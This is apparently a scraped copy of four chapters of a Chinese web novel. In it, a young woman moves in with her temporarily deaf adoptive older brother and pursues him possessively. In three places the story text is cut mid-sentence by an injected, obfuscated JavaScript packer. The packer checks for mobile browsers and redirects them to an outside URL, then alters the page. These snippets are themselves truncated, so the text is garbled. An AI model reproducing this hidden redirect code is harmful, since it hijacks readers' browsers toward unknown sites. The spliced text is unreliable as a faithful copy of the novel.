《听得见》 1. 听不见 接连多日的雾霾散去,阳光普照,燕北终于迎来大晴天。 谭禹在家休息的第三天,收到方燕如发来的微信。 [小禹,你现在的状况实在让人担心。小溪请缨要去照顾你,她下午三点到,之后有任何事情你都可以交给她去做。] 盯着这条消息看了许久,谭禹回复一句好。 他很久没见过谭溪了,印象中,妹妹并不是一个会照顾人的小大人,比起照顾别人,她更像被照顾的一方。 谭溪高一,因为跟同学打架被叫家长,她不敢告诉方燕如,只能紧急把谭禹从千里之外呼回来见老师。 谭溪初一,骑自行车耍酷双手不握把手,结果摔断腿,是谭禹手把手照顾她整整三个月。 谭溪一年级,两个人第一次见面,她就把牛奶洒了谭禹满身。 总而言之,在谭禹的印象中,他给潭溪收拾过的烂摊子远比他自己的麻烦多得多。所以他其实并不是很信任潭溪能够担得起照顾他的任务。 桌子上放了零食和酸奶,有谭溪以前最喜欢口味,也有近几年的热销款,三年不见,他也不能确定妹妹的口味有没有发生改变。还有新买的拖鞋,花哨的样子在他极简的鞋柜里尤为显眼。 这个家从里到外都在欢迎她的到来。 检查完这些,手机里传来一条新消息,显示来自小溪。 [哥哥,我手机没电了QAQ,不知道能不能坚持到家,我现在从车站出发,大概20分钟能到,记得给我开门呀:D] 熟悉的谭溪作风。 谭禹扬起眉心,从沙发起身,往门口走,他得确保自己第一时间收到谭溪到达的讯息,不能让她等。 高铁站。 谭溪收起电量告急的手机,耷拉着脑袋拖着行李往车站外走,双肩包上的挂坠也跟着主人丧眉耷眼。 由于昨天晚上太激动,她没睡好觉,原本是用来打发时间的综艺成了催眠曲。睡了多久,手机上的综艺就放了多久,五个小时下来,电量消失殆尽。 不该睡那么死,更不该嫌麻烦不带充电宝。 谭溪忙着反省自己,但一想到马上能见到谭禹,并且跟他一起生活,那些沮丧的心情又全都一扫而空。 按照妈妈发来的地址,谭溪打车去了谭禹的住所。 从外观上看,这是个很高级的小区。看来连续三年都抽不出空回家,的确让哥哥得到了相应的回报。 思念里又掺杂了一丝怨念,谭溪心里憋着气,落在地上的脚步每一下都很重。 电梯一路上行,停在十二楼,谭溪看着已经黑屏的手机,开始无奈的敲门。 但她很快意识到谭禹听不见,这该怎么办?苦恼的抓抓头发,她有些不适应手上的触感。这是高考后她新做的发型,以前那头炸毛自来卷被拉直拉顺,从指缝里滑走,为了这头秀发,她在理发店足足坐了一天。 谭溪靠坐在行李箱上,脚尖在空气中左右滑动,她打算坐这里等等,说不定待会儿哥哥自己就出现了。 本以为要等好久,但没想到她刚坐稳,紧闭着的门就诡异般打开。 碳灰色的门后,露出那张她熟悉又陌生的脸。 深邃的眉眼带着三分惯有的严肃疏离,目光也是一如既往的沉寂,个子很高,纯色家居服套在宽肩窄腰的身体上。 谭溪愣住,屁股从行李箱前面滑下来,跌落着站在地上,呆呆地抬头看向他。 与僵硬不同的,是正在剧烈跳动的心脏。 谭禹眼疾手快地扶她一把,触感柔软的肌肤上面留下抓握的痕迹,待她站稳后,他又松开。 随即看到她面色惊讶的启唇说话,可他无法分辨谭溪到底在说什么,眉心微拧,带着疑惑。 谭溪反应过来,连忙向他索要手机打字给他看。 “哥哥怎么知道是我在敲门?” 原来是好奇这个。 谭禹的目光在她脸上扫过,接着连人带行李箱一起拉进屋里,他觉得谭溪瘦了。 门关上,谭禹握住谭溪的手,放置在门板上。屈指,轻敲几下,门板震动的声音在手上引起一阵震颤,即使耳朵听不到,手掌也能感受得到。 所以说,他是用这种方式来辨认敲门声的?从她发完消息后,就一直在等? 谭溪敲字给他看。 “哥哥一直在门口等着吗?” 把手放在门板上,等着她的到来,等着她敲门。 想想那副场景,谭溪的心情又雀跃起来。 谭禹脸色未变,拉着行李箱转身往里面走,话随动作散在空气中:“没有,只是恰巧路过。” 他说话的口吻跟以前一样,可对谭溪来说,又不一样。 她默不作声垂下脑袋,面颊绯红的跟在他身后,大脑却在胡思乱想,有这么巧吗? 趁着这个间隙,她在谭禹看不见的盲区,肆无忌惮的打量起这个房子,空间宽敞,装修风格简约又有格调,是哥哥的喜好。 谭溪又重点看了鞋柜和卫生间的置物架,完全找不到任何异性存在的痕迹。 她心满意足的点点头,丝毫没有意识到自己这种类似于巡视地盘的行为,带着过界的霸道和占有。 “你住这间,有什么需求直接跟我发信息。”谭禹安置好她,转身去门外,留出单独的空间给她。 他也得给自己留出一些接受的时间,妹妹变化太大,简直是脱胎换骨,他有点不知道该如何面对她。 还没走掉,袖子就被拉住,他转身看到谭溪可怜巴巴的表情,湿漉漉的黑色瞳孔紧盯着人看,是她惯有的撒娇的招数。 谭禹眉心一跳,熟悉的感觉再次迎面而来。 果然看到她在手机上打出一行字。 “哥哥,我想吃你做的黑芝麻糊炖奶。” 这个麻烦精。 等谭禹在心底说出这句的时候,人已经站在灶台边了。 他就知道会是这样,把谭溪招来无异于自讨苦吃,他就不该鬼迷心窍的答应方燕如的提议。方姨也真是的,这么多年,还不清楚女儿是个什么性子吗?还真的敢相信她的那套说辞。 大概也是被谭溪给蒙骗了。 谭禹在牛奶里面多放了些糖,谭溪嗜甜如命,喜欢致死量的糖剂。虽然那是小时候的习惯,但出于对她的了解,谭禹不认为她会改。 浓郁飘香的黑芝麻糊上是一层香甜的奶冻,上面还点缀着几片香桂。 谭禹做饭手艺一般,但这道黑芝麻糊炖奶的品相却好到能拿出去卖的程度。 归根结底,还是跟谭溪有关。 他把碗放在餐桌上,旁边辅以白色的小汤勺,用纸巾垫着,搁在一起。 伸手可及的位置还放着水跟抽纸,即使三年不见,全方位照顾她的习惯还刻在谭禹的肌肉记忆里。 谭溪洗完澡出来,就闻到满屋的香甜,她擦着头发,看到谭禹的背影,心里涌起莫大的满足,情不自禁的就叫了一句:“哥哥。” 看着谭禹丝毫不动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174719|196892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的背影,她这才想起谭禹已经失聪的事实。 几天前,她从方燕如口中得知谭禹因为工作压力过大短暂性失聪的事情,那个瞬间,谭溪把所有的行李打包好,并用一百个理由说服妈妈自己会照顾好哥哥。 方燕如其实不太放心,但顾虑到谭禹的情况和谭溪的保证,才松口让她过来。 有方燕如背书,谭禹不会拒绝,何况他如今的情况确实无法独立生活。 谭溪跳着坐到谭禹对面的位置,她低头,鼻子凑在碗边轻嗅好几下,闻到熟悉的味道后,对谭禹伸出大拇指,笑弯了眼睛:“哥哥的手艺一如既往的好!” 谭禹听不到,只是用眼睛淡淡的打量三年没见的妹妹。 下巴尖了不少,鼻子右侧长了两粒褐色的小雀斑,看着十分俏皮。最大的改变是头发,松鼠尾巴变得柔顺,这也是让谭禹感到陌生的原因。 妹妹从美炸了美人鱼变成亭亭玉立的大姑娘。 谭禹感到欣慰,庆幸于谭溪没有走弯路变成不学无术的问题青少年,毕竟她小时候可是人尽皆知的小霸王和吊车尾。 谭溪并没有因为三年没见就对哥哥生疏,而是一个人叽叽喳喳,话题从高考的数学很难到车上那个手机外放声音很大的讨厌叔叔,一张嘴嘚啵嘚的说个不停。 她知道谭禹听不到,可她就是有很强的分享欲。 不打断别人讲话是最基本的礼貌,谭禹晓得这道理,所以他观察着谭溪,等她的嘴巴合上后足足三分钟没有再张开,他才能确认潭溪讲话结束。 他的沉默让谭溪有些泄气,她打字给谭禹看,眼睛里带着些委屈。 “哥哥,你好冷漠:|” 谭禹这才慢慢开口:“小溪,其实哥哥听不到你在说什么,但你愿意牺牲高考后的假期来照顾我,我觉得很欣慰,你长大了。” 更多的是开心,过去这三年,他也时常在忙碌的间隙想到这个总在他身后叫哥哥的小妹妹。她纯良无害的黑色眼睛,总是充满依赖和信任的盯着他看,尤其是在惹祸之后。 那种被需要感紧紧包裹着谭禹的心脏,他总说谭溪麻烦,但其实他才是最喜欢跟在她屁股后面收拾烂摊子的人。 虽然没有血缘关系,可他和谭溪做了十几年的兄妹,相守相伴早就取代血缘关系刻在骨血里。 谭溪永远都是他唯一的妹妹。 “不是冷漠,哥哥只是...觉得你变化太大。” 变化大到,他不知道是否还能像以前那样对待她。 谭溪嘿嘿一笑,扯过桌子上的草莓味格力高,咬在嘴里,打字回答他。 “没有变啦,我还是那个小溪,是最喜欢哥哥的小溪。” 她不自觉地用手摸了摸发梢。 俏皮的回答使得谭禹眉宇间出现罕见的温柔,那让他冷峻的脸有了温度,也让谭溪回想起无数个和哥哥相处的时刻。 她忽然从位置上站起来,走到谭禹身边,接着微微弯腰,眼睛凝在他的脸上。 谭禹露出意味不明的表情,对她的行为感到疑惑。 谭溪拉住他的手,握住手腕,打开掌心,将其覆盖在自己的喉咙之上,声带通过震动传递到谭禹的指尖,一震一颤,她的嘴巴也在闭合,红润的唇齿间吐露着几个字。 她一字一顿说:“哥哥,很高兴见到你。” 谭禹轻轻压上去,贴的离皮肤更深,勾起一丝很淡的笑。 “我也是。” 见到妹妹,他也很高兴。 2. 听不见 心满意足的吃完谭禹亲手做的东西,谭溪回到房间。 考虑到洗澡不方便,谭禹把主卧让给她,床品也是新买的,清洗、晾晒、铺垫,全都是他亲力亲为,因此不可避免的会染上他的气息。 谭溪扑在床上,把脸埋在被单里,用鼻子深深的嗅上一番,似乎这样做,就能闻到哥哥身上的味道。 清冽又干净,是她最喜欢最依赖的味道。 谭禹在厨房洗碗,家居服的袖子被挽到小臂,修长骨感的手指刮蹭着白色碗壁上残留的黑色芝麻糊,清水冲在上面,留下洁白无瑕的瓷碗和手指,莹润的光泽同时出现。 这活儿他很久没做过了,一个人生活的时候,他吃的很凑合。 他做事本就认真,失聪的耳朵更让他感受到由内而外的宁静,这种氛围让他沉浸其中,不被外物打扰。 所以等他收拾好厨房的一切后,才看到洗完澡站在冰箱旁看着他的谭溪。她不知道站了多久,半长的头发披在身后,亭亭玉立,对他笑着挥手,笑容纯白,像极无辜的孩童。 如果她前胸的睡衣上没有两处明显的凸起,谭禹或许会过去揉揉妹妹的脑袋。 但现在他只能背过身,遮挡住她大条的神经。 这个插曲让他清楚的认识到,不是没有变化。妹妹已经十八岁,不再是以前那个不计男女之别的孩子。 他是在跟一个成年异性同居。 他想说什么,可又觉得没理由说,这是人体最正常的器官之一,刻意提起反倒显得他大惊小怪,这是谭溪的自由。 思索间,谭溪已经走过来,她站在谭禹身边,手指抓着他衣服下摆,就像小时候那样。 可她靠的未免太近,谭禹的胳膊撞上她的,最不敏感的肘部也能感受到妹妹柔软的肌肤。 他借着擦手的动作,不动声色拉开两人之间的距离。 谭溪毫无察觉,等他擦完手后,又一次的拽上衣角,这次的距离比上次更近,他甚至险些擦过柔弱无骨的部位。 警钟敲响,谭禹用掌背拂开她的手,退后一步,将两人之间的距离拉开至安全范围,并用严肃的语言警示:“小溪,不要忘记我是个男人,尽管我们是兄妹,但你也不能不设防。” 谭溪好像明白了,她低下头,脸颊一点一点的变红,羞意从脖颈爬上耳梢,像只被热水煮熟的虾子,绯红、蒸腾、炽热,又带着三分醉意。 周末和假期,她大多数时间都是一个人在家,早就习惯了这种方式,改变固有习惯,是件很困难的事,她只是一时不察才会冒失。 她抓出手机,在上面敲字给谭禹看。 “我知道了……可在家也穿…很难受的QAQ…” 她又不是故意的呀…… 谭禹感到一阵无言,他好像没有理由去指责她的行为,但又做不到视而不见。他从没有过任何跟异性同居的经历,谭溪是他的妹妹不错,可也是个女孩子。 最终,他拿来一件外套,裹在谭溪身上,低头伸手,把圆润的扣子系上,直到系到倒数第三颗,衣物遮住所有,痕迹浅了很多,才停下。 看着规规矩矩的谭溪,他绷紧的那根弦终于松弛下来:“我把空调温度调低一些。” 妹妹说了很难受,那他就要想别的办法。 谭溪心满意足的点点头,抓着他的手,摸上自己的脑袋,接着又用委屈巴巴的表情看他。 触感湿润,谭禹知道,她的懒病又犯了。 他认命一般从柜子里拿出吹风机,把谭溪安置在椅子上。 “如果感到烫,就拽我。” 他把衣角塞进谭溪的手里,给她攥着。 吹风机轰隆的声音在耳边响起,侵袭着谭溪的耳朵。 她想起小时候,她头发多,常常犯懒,洗了澡后不愿意举着手臂吹头发,就任由湿润的头发滴水。每当这个时候,谭禹就会心甘情愿的站在她身后,拧着眉,为她吹干每一根发丝。 吹风机的声音,谭禹是听不到的,他的手指飞舞在谭溪的发丝间,触感变了,以前生硬且弯曲,现在柔顺异常,她应该在理发店坐了很久才得到这头秀发。 妹妹好像跟以前不太一样了。 耳朵不被干扰,但鼻息却被未能幸免,满腔的香气扑鼻而来,他感到疑惑,明明是同一款洗发水,为什么在谭溪头上的味道,跟在他头上完全不同。 他思索着这个问题。 直到衣服的下摆被扯动。 他把吹风机关上,维持着站姿,微微低头,看向谭溪的眼睛:“烫到了?” 谭溪摇头,又点头,最后又揪着他的衣摆不说话,脸上尽是纠结。 谭禹放下吹风机,弯腰俯身,寻着她的眼睛,有意放轻自己冷肃的语气:“怎么了,小溪?” 不问还好,一问谭溪就开始委屈巴巴,眼泪满眶,将落不落:“哥哥,你为什么三年都不回家啊。” 谭禹把腰弯的更深,皱紧眉心,把手机塞给她:“你忘了吗,我听不到。” 听不到,也看不懂,如果谭溪不用文字来表达,他们就是鸡同鸭讲。 谭溪用哥哥的袖子抹去眼泪,豆大的泪水在衬衫上浸出一片痕迹,她攥着手机,在上面打字。 “哥哥,你不在家的日子,没人帮我吹头发,我第二天睡醒总是头痛。” 谭禹看着这行字,心疼之余,更多的是生气。他的本意是疼爱妹妹,而不是把她养成一个什么都不会的生活白痴。 尤其是看到她说总是头痛,气的他也头痛,说话时不自觉的就带上长辈的威严,语气重了些。 “谭溪,你十八岁了,不至于连最基本的的生活技能都不会,既然知道头发不吹干会头痛,为什么不能自己吹干,难道我不在,你就永远不吹头发吗。” 他们相差十岁,他足够理智和冷静,说这些话时,只有斥责和训诫,至少在谭溪听来是如此。 谭溪的泪水大滴大滴往下落,在衬衫上落下一场雨,她委屈的掀起眼皮,气到呼吸急促,看着谭禹,又在手机上快速打字扔给他。 接着走的飞快,像只翩翩起飞的蝴蝶一样飞向房间,并把屋门重重关上。 和谭禹的冷静克制不同,谭溪是个极度情绪化,极度感性的人,还有点莫名其妙的固执。 所以她喜欢表现的很明显,讨厌也是。 房门的响声让满屋都为之动荡,谭禹伫立片刻,才捞过手机,放在眼前,看到上面的文字,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谭禹不可避免的感受到抵在她胸前的柔软和被泪水浸湿后愈加明显的凸起。 理智告诉他应该推开,跟妹妹保持男女之间该有的距离。可现实却是在这种时候推开她,无异于自寻死路,只能就这样尽力的保持着自己不跟她触碰。 他只是恍然间想,她已经长大,他们不再适合这种亲密无间的拥抱。 谭溪顶着半干的头发在他脖颈里乱蹭,接着从乱蓬蓬的头发里露出一张泪眼汪汪的脸,胡乱抓着他的手往声带上按。 脖颈里发声的部位,一震一颤,把谭禹的手指震的酥酥麻麻,连带着在心口也荡起涟漪。 她说:“哥哥,我一直都很想你。” 用手感受和肉眼看到文字,完全是不同的感受。谭禹所有对于妹妹任性的气全都烟消云散,他满脑子只有一个念头。 是他不好,是他的错。 他拢住谭溪的肩膀,把她轻揽在怀里,手掌轻轻的拍,似在安抚:“我也是。” 谭溪埋在他的肩头,在他看不见的背面,颤抖着嘴唇吻上他的肩膀,留下一个又一个虔诚的吻,喃喃自语:“哥哥,我想你想的快要疯掉。” 她撒谎了。谭禹不在的三年,她学会了一个人做好所有的事,可她不会告诉谭禹这些。 她察觉到谭禹在拉开他们之间的距离,而这与谭溪此行的目的相悖。 撒谎能得到的是哥哥的愧疚,愧疚之后是对她的无线纵容,即使是越界的举动,即使是过分的要求,谭禹也会退让。 没人比她更懂得如何让谭禹服软。 3. 听不见 谭溪睡了个好觉。 走出房门前,看到镜子里睡眼朦胧的自己,她捏起眼皮,用力掐了一下。 谭禹站在厨房,手把着刀刃给苹果削皮,果皮不断,弯弯绕绕缠成一大圈,最后完整的落到水槽里。 他举起苹果,认真检查好没有多余的果皮后,又削成小块,放在碟子里。 谭溪早早做好吃第一口的准备,哥哥从不喜欢吃苹果,这一定是为她而做的。 果不其然,谭禹转身,看到她,立刻就把碟子递给她。 谭溪摇摇头,只是对着哥哥张开嘴巴。 “都多大了,还要人喂到嘴里。” 话是这么说,谭禹很自觉的叉起一小块,放在她的嘴边。 谭溪笑弯了眼,一口咬进去,舌头卷过叉子上残余的汁水,然后快速咀嚼,像只偷吃的小仓鼠。 她又叉起一块,把苹果块抵在谭禹的嘴边。 她知道谭禹不喜欢吃,可她就想看哥哥为了她心甘情愿的吃下并不喜欢的东西,他隐忍着皱起的眉头,会让谭溪遍体发麻,浑身舒畅。 她会觉得自己是哥哥秩序之外的特例。 更重要的是,她要确认谭禹是否还会毫无底线的包容她。 谭禹不会拒绝。他的表情跟谭溪想象中没有任何出入,他吞咽下那口苹果,淡声评价:“一般。” 谭溪笑笑,叉着苹果,一口一口嚼的清脆。书上说早上的苹果是金子,对身体好,谭溪向来听话。 兄妹两人分坐在沙发的一角,谭溪光脚踩在地上,朝着谭禹的方向蹭过去。 深咖色的地毯上出现一只白皙骨感的脚,涂着珠光白的指甲油,很好看,但谭禹看的眉头紧皱。 他拿起拖鞋套在谭溪的脚上,并对她说:“室内的温度没有高到可以不穿鞋子。” 本来空调温度就低,她再不注意,真的会生病,夏天的感冒最难好。 最难忍受的是妹妹病怏怏的模样,霜打一样垂下花瓣,了无生机。 谭溪趁着穿鞋的功夫,坐在他的身边,胳膊穿进谭禹的臂弯,搭着他。谭禹垂下眼,看到她泛红的眼尾,默许了她的行为。 电视在放一档很多年前的综艺节目,谭溪以前最喜欢看,每周都要把着电视准点收看,可惜前几年节目意外停播,现在只能重温往期节目来追忆。 没想到,哥哥还记得。 美好的回忆让人沉溺,直到谭禹第二次问她考虑报哪所学校,她才回过神来。 “可能会留在家里。”谭溪这样在手机上回复。 谭禹估摸一下她平时的分数,觉得冲冲本地最好的学校没有问题,南城是座很有发展潜力的城市,也是她长大的地方,对谭溪来说再合适不过,他没有任何异议。 谭溪对于高考有ptsd,不想再说这些,而是飞快的在手机上打字。 “哥哥,你为什么会忽然失聪。” 这个消息太意外也太突然,传回家的时候给他们都吓坏了,尤其是谭爸,已经做好准备买票过来照顾他,好在谭禹再三保证没什么大碍,这才稍稍放心。 现在谭溪既然来了,就一定要搞清楚事情的原委。 谭禹回想这段时间发生的一切,不知从何开口,那些激烈的冲突和固执的偏见,他不希望妹妹窥见半分,她该无忧无虑的享受即将到来的大学生活,而不是早早得知社会艰险、人心复杂。 “工作上的事情,一两句说不清楚。” 最终他用这样的话搪塞过去。 这一听就是在敷衍啊,谭溪闷闷的应了一声,坐在他的旁边不吭声,耷拉个脑袋慢慢悠悠的晃。 谭禹虽然听不到,但他会用眼睛观察,他敏锐的发现家里这位小祖宗在生气,瞥过茶几上被拆了几包的零食,谭禹调出外卖页面给她。 谭溪冲他展露笑容,抱着手机挑选起来,嗯…是喝果茶还是奶茶呢,两杯都想喝呢…最后她决定各点一杯,美其名曰另一杯是给哥哥,实则两杯都想尝尝。 手机上方的通知栏忽然显示出一串陌生号码,谭溪把手机递在谭禹眼前,示意他接听。 可他看到来电显示,毫不犹豫的挂断,又把手机还给谭溪。 “骚扰电话,不用理会。” 谭溪眼睁睁的看着那串号码再一次的出现,这次她没有再递给哥哥,而是不动声色的挂断,然后跳转到这个号码的通话记录。 直觉告诉她,这串号码没那么简单。 点开通话记录,她看到让她心惊的结果。 谭禹和这串被他冠以‘骚扰电话’的号码,几乎日日都有联系,有几次的通话时间长达一个小时。 他在骗她,这根本不是什么所谓的骚扰电话。 如此亲密的联系,除了家人,会是谁? 她脑子里几乎瞬间就冒出一个可能。 女朋友。 如果他整日忙着陪女友,那没空回家就说得通了。 谭溪感受到灭顶般的窒息感笼罩在头顶。 因为从没有人提过,她下意识的就忽略掉这种可能,如果谭禹有女友,那一切就都变了。 冲动之下,她点进谭禹的微信,置顶联系人只有一个。 小溪。 飘着的心落了一半,她又在聊天记录里去搜寻关于‘宝宝’‘宝贝’‘亲爱的’之类亲密的词汇,结果统统显示没有。 谭溪放下心,在心里排除他有女朋友这个可能。 既然不是女朋友,那又会是谁?会和他的失聪有关吗? “点好了吗?” 谭溪急忙退出微信页面,把外卖付款页面递给他,谭禹没接,眼都没抬:“密码你不是知道。” 谭溪缩回手,轻车熟路的输入密码,那串数字由她和谭禹共同组成,前面是哥哥出生的年份,后面是谭溪成为他妹妹的日子。 因为谭溪说,把自己的信息设置成密码一点都不安全,最好是一串有意义的组合数字。 在谭禹看来,这就是有意义的数字,而且这串不包含个人身份信息的密码拥有很高的安全性。 谭溪的心里冒出一缕缕的甜意,这些甜意穿插在她的心脏上,将她紧紧包围,溺死在被哥哥放在心上的幻梦中。 她也觉得,那是人生中最有意义的一天。 虽然已经排除他有女友这个可能,谭溪还是想要再确认一遍,她在手机上打字给谭禹看。 “哥哥应该换个密码,用你女朋友的才对。” 谭禹皱眉,没明白她为什么突然提起这件事,他的解释言简意赅:“没有女朋友。” 谭溪在心里欢呼雀跃,深吸口气,又接着在手机打字。 “哥哥马上三十岁了,还不交女朋友吗?” 这个小鬼,忽然对这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可谭溪向来擅长自洽,难过之余她又想,有什么不可能,她小时候数学还考个位数高中不照样拿一百多吗,这世上没有不可能的事,只有不想做的人。 在她思绪百转千回的同时,门被敲响,谭溪去门口取外卖。 谭禹根本不知道她买了什么,但看到有两杯,就理所应当的拿出一个空杯子。 他太知道谭溪的秉性,她那么霸道,两杯都是要染指的。 谭溪却拦住他,瞳孔里带着些怒气,她敲字的力气很重。 “哥哥,你嫌弃我!我就知道,你早就忘了我这个妹妹。” 怒气倒还好,更多的是委屈。 谭禹拿杯子的手顿住,把杯子放回原位,又把两杯饮品都放在谭溪面前。谭溪刚来,昨天还跟他生了气,他不能再做出招惹谭溪生气的事。 谭溪一一品尝过后,把不太甜的那杯抵在谭禹的唇边。 谭禹低头,看到吸管上有牙齿的咬痕,那是谭溪的小习惯,总喜欢把吸管折磨的不成形。 谭禹从不这样,他是个规矩的人,不会做出脱轨的事情,譬如吸管,他从来都是规范使用。 可迎着谭溪期待的目光,心里那盏天平无意识的就朝着她那边倾斜。他低下头,双唇轻轻含住已经扁掉的吸管,稍稍用力,甜到发腻的汁水充盈在嘴里,苦涩无味的口腔顷刻发生变化。 谭溪拉住他的手,目光发亮,由于要放慢说话速度让谭禹看清楚,她嘴巴张合的尺度很大:“哥哥,甜吗?” 谭禹艰难的咽下一口,错开她的目光。 “…太甜。” 他觉得长大后的妹妹有点不一样了,但他说不清楚问题出在哪里。 可有一点很明确,他不该继续跟妹妹使用同一根吸管,这不合适。 4. 听不见 跟谭禹同住的第五天,谭溪觉得胸口有点胀痛,经验告诉她,月经马上要到访,但这里显然是不可能有卫生巾的。 谭溪披上外套,拖着步子去客厅找谭禹。 谭禹在客厅的书桌上办公,他带着一副银边眼镜,盯着电脑屏幕。依谭溪来看,那上面的走势比山峰还陡峭,她隐约知道哥哥从事金融风投行业,但更具体的,无从知晓。 她对这些并不感兴趣,自然也不会过问。 眼镜赋予他禁欲般的气质,这让他本就严苛冷峻的面容变得更加不近人情,有种拒人于千里之外的疏冷。 谭溪没觉得害怕,反而有种诡异的兴奋,月经前激素不稳定,仅仅是看着他这个样子,她就忍不住颅内高|潮。 真的…太勾人了。 她之所以没谈过恋爱,谭禹要背很大的锅,有他珠玉在前,其他男生很难入眼。 谭溪欣赏一番后才拉住他的袖子,把打好的文字给他看。 “哥哥,我月经快到了,陪我出去买卫生巾吧。” 谭禹揉揉眉心,脸上有几分倦色:“外卖上没有吗。” 谭溪懒得打字,对着他摆摆手。 谭禹没再问什么,起身去换衣服。 谭溪个子不高,比着谭禹要矮二十多厘米,所以她站在谭禹身侧,抬头能看到的,是他粗隆的手臂,那上面有青色的血管蜿蜒,饱满的肌肉线条隐入短袖的下摆。 哥哥有一张冷峻紧致的脸,但身材却是如此矫健,这种反差很涩情。 谭溪下意识的用双手抓住,抱在自己怀中,整个人贴上去,好似依偎在他怀里。 触及谭禹询问的目光,谭溪空出一只手打字给他看。 “外面人多、车多,我还是拉着你比较放心。” 完全正当的理由,谭禹听不到,无法应对任何紧急突发状况,有谭溪在身边陪着,会安全许多。 谭禹没有理由拒绝妹妹拉扯的行为,但夏日衣衫单薄,她的动作无可避免的让谭禹的胳膊触及到跟坚硬天差地别的触感。 他想自己有必要好好告诫谭溪,哪怕是跟哥哥相处,也需要注意分寸,提防男女之别。 可看到她那双黑白分明、总是很无辜的眼睛,谭禹又觉得自己是否小题大做。 他总是有很多规则和标准,但这些到了谭溪面前都要大打折扣。 阳光毒辣,两人去了离家最近的商超,空调的温度开得很低。 谭溪贴的离谭禹很近,整个人都要黏在他身上,人总是趋利避害的,谭禹身上热乎乎,她本能的想要靠近。 谭禹来不及顾及那些过于密切的举动,只是默默加快走路的速度。 购买过常用的卫生巾,两人又转到别的区域,谭溪看着桶装冰淇淋走不动道。 谭禹试图拉走她,可她的两条腿就跟钉在原地一样,死活不挪步。 谭禹握住她的胳膊,淡声警告:“我已经见到你打喷嚏三次,使用纸巾擦鼻涕六次,小溪,你大概率是感冒了。” “你对冰淇淋没有抵抗力,所以从一开始就应该远离。”谭禹用最切身的感受跟她讲道理,期望她能明白如何变得自律。 对牛弹琴。 谭溪舔舔唇角,还是不肯走,冰淇淋对她的诱惑仅次于哥哥,她得不到哥哥,难道连冰淇淋也不配拥有吗。 那也太惨了。 两人僵持不下,店里的理货员走过来说:“您好,有什么可以帮您的吗?” 继续僵持无异于浪费时间,谭禹做了让步:“可以买,但只能买分装的。” 他太了解谭溪,如果把整桶买回去,她一定会像偷吃油的老鼠一样,找各种借口频频绕到冰箱面前,一会儿一口,一会儿一口,直到吃干抹净。 既然无法拒绝她的要求,索性换一种迂回的方式。 谭溪觉得不够,但她这几天真的有点感冒,顾虑到自己的身体,也只能接受。 或许是看出她脸上的郁闷,理货员好心安慰几句:“冰淇淋吃太多的确会不舒服,你男朋友这是关心你呢。” 男朋友…… 原来在外人眼中,他们是这种关系吗,看来拾掇头发果然有效。 谭溪感到隐秘的开心,她连忙点头,坐实这层关系,将那三个字翻滚在唇齿间:“是,我男朋友是关心我。” 说完她简直想要原地尖叫,竟然真的…就这样讲出来了,对着哥哥这样叫,让她头皮发麻,那些曾有过的旖旎幻想在一点一点变得真实。 她又忍不住悄悄地打量谭禹的神色,要是他听到会怎样?会冷着脸骂她一顿?不,不,哥哥大概只会觉得她什么都不懂,是在瞎说,会认真且严肃的为她解释什么是男朋友,并告诉她两者不可混为一谈。 可是哥哥从来不知道,在她心里,这两个身份就是要划上等号的。 确认他完全没有反应后,谭溪放下心,胆子稍稍大了一些。 反正哥哥也听不到,她说什么,就是什么,哥哥只能接受这个暂时的身份。 她心疼哥哥的失聪,却又为这个千载难逢的机会感到窃喜,在哥哥‘有缺陷’的这段时间,她是主导的人,是哥哥的耳朵,哥哥只能‘听她的话’。 好开心。 谭溪抓紧他的手臂,让两人看上去更亲密,她巴不得所有人都误会。 而谭禹则以为,超市拥挤,谭溪怕他走丢。他不免有些无奈,谭溪对他也太过紧张,他是听不到,但他还有身手和眼睛,失聪反而让他的心平静下来,更仔细的关注周围的动向。 离开超市,购物袋被谭禹拎在手里,谭溪抓着他的胳膊,乖巧的走在内侧。 前面排了好长的队伍,谭溪踮起脚尖,看到是在售卖芝士牛肉卷。 她伸出舌尖舔舔唇角,眼睛在食物和谭禹之间来回打转。 谭禹早在她踮脚的那一刻就明了,他把谭溪和东西安顿在等候区,自己一个人站在队伍的后面。 将近一米九的身高在人群中很显眼,更别提那张好颜色的脸,尽管周身散发着拒人于千里之外的冷淡,但还是惹来前面几个人的回头、私语。 谭溪一点不觉得吃味,她反而与有荣焉,她的哥哥就是天底下最好看的男人,他们和她一样有眼光。 但她仅仅是心里这样想,真的等到有人围在谭禹身边说话的时候,她跑的比谁都快。 谭溪站稳,挽住谭禹的手臂,十足霸道的看向前来搭话的两个人。 一男一女,均用充满趣味的眼神看向谭禹。 谭禹看着陌生的两人,指指自己的耳朵:“抱歉,我听不到。有什么话,你们可以跟她讲。” 谭溪用自己的身体护住谭禹,对他们放话:“这是我的,男朋友。” 她对于自己的东西,一向有很强烈的占有欲,尤其是哥哥,任何人想要和她争夺 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她抓着谭禹的手臂,打字叮嘱:“我去拿东西,你不要乱动哦,在这里乖乖等我回来,谁说话都不要理。” 谭禹无言,又用食指点点自己的耳朵:“小溪,我不是小孩子,而且我也听不到。” 所以她不需要这么细心的叮嘱。 谭溪笑笑,露出几颗洁白整齐的牙齿,小跑着过去拿东西。 谭禹站在原地,看着妹妹跑远的身影,笑容很淡。 失聪,似乎也不是一件完全不值得高兴的事情,至少他的生活从小溪来的那天起,不再死气沉沉。 “不好吃。”谭溪只咬了一口,就把排队半个小时的东西顺手塞给谭禹。 